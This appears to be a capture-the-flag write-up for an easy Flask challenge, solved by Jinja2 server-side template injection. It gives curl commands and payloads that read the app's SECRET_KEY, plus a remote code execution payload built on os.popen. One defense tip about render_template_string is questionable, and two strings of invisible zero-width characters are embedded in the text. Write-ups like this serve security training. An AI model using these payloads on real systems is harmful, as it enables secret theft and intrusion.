← Back to Writeups
CUSTOMEasyWeb

Поздравительное приложение (Greeting App)

XESXOR9/2/20262 min read
#web#custom#easy#flask-config.secret_key-disclo#server-side-template-injection

Поздравительное приложение (Greeting App)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Flask config.SECRET_KEY disclosure, Server-Side Template Injection (SSTI) in Jinja2

Summary

Walkthrough of the CUSTOM Web Поздравительное приложение (Greeting App). Task: Flask greeting app with user input reflected in response, flag is SECRET_KEY. Solution: Jinja2 SSTI via {{config.SECRET_KEY}} to read Flask config.

Description

Сделал вот свое приложение, чтобы здороваться со всем миром. Флаг - значение SECRET_KEY в конфиге.

Reconnaissance

When accessing the application, a Flask backend was discovered:

  • Server: Werkzeug/2.3.4 Python/3.10.4
  • Endpoint: /{name} returns Hello, {name}!

Analysis

User input is directly substituted into the template without sanitization.

SSTI Test

http
GET /{{7*7}} HTTP/1.1

Response:

Hello, 49!

Confirmed: Jinja2 Server-Side Template Injection. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

According to the description, the flag is in the Flask configuration's SECRET_KEY. In Jinja2, the config object is available by default in the template context.

Payload

http
GET /%7B%7Bconfig.SECRET_KEY%7D%7D HTTP/1.1

URL-decoded: {{config.SECRET_KEY}}

Command

bash
curl 'http://TARGET/{{config.SECRET_KEY}}'
# or with URL-encoding:
curl 'http://TARGET/%7B%7Bconfig.SECRET_KEY%7D%7D'

Response

Hello, CODEBY{REDACTED}!

Alternative Payloads

python
# Read SECRET_KEY
{{config.SECRET_KEY}}
{{config['SECRET_KEY']}}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Full config
{{config}}
{{config.items()}}

# RCE (if more is needed)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Defense

  1. Never substitute user input directly into templates
  2. Use render_template_string() with escaping
  3. Use sandboxed Jinja2 environment
  4. Don't store secrets in config accessible from templates

References

Key Takeaways / Lessons

  • Mastering Flask config.SECRET_KEY disclosure, Server-Side Template Injection (SSTI) in Jinja2 was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2025-12-24 • CUSTOM • Поздравительное приложение (Greeting App) • Difficulty: Easy